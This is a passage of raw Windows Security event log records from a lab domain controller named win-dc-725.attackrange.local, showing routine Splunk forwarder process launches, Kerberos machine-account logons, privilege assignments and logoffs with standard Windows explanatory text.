- Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:21:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256417 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1184 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:21:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256416 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5cc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:21:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256418 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12a8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:21:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256419 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xeb0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:21:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256420 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1020 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:21:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256421 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x900 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:21:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256423 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4040B6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {1315B027-D61C-A152-E46C-74A6DCC39304} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 51547 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:21:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256422 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4040B6 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:21:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256425 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4047CB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {68513207-EE9F-7088-7C79-4A7797658EB5} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:21:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256424 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4047CB - -Privileges: SeAuditPrivilege - SeImpersonatePrivilege - SeAssignPrimaryTokenPrivilege -03/12/2021 01:21:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256426 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4040B6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:21:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256429 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x40527F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:21:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256428 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x40527F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 65244 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:21:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256427 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x40527F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:22:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256435 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x40559A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:22:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256434 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x40559A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 65248 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:22:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256433 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x40559A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:22:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256432 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x40552E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:22:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256431 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x40552E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 65247 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:22:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256430 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x40552E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:22:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256436 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:22:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256438 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10ec - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:22:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256437 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11c8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:22:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256452 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x878 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of 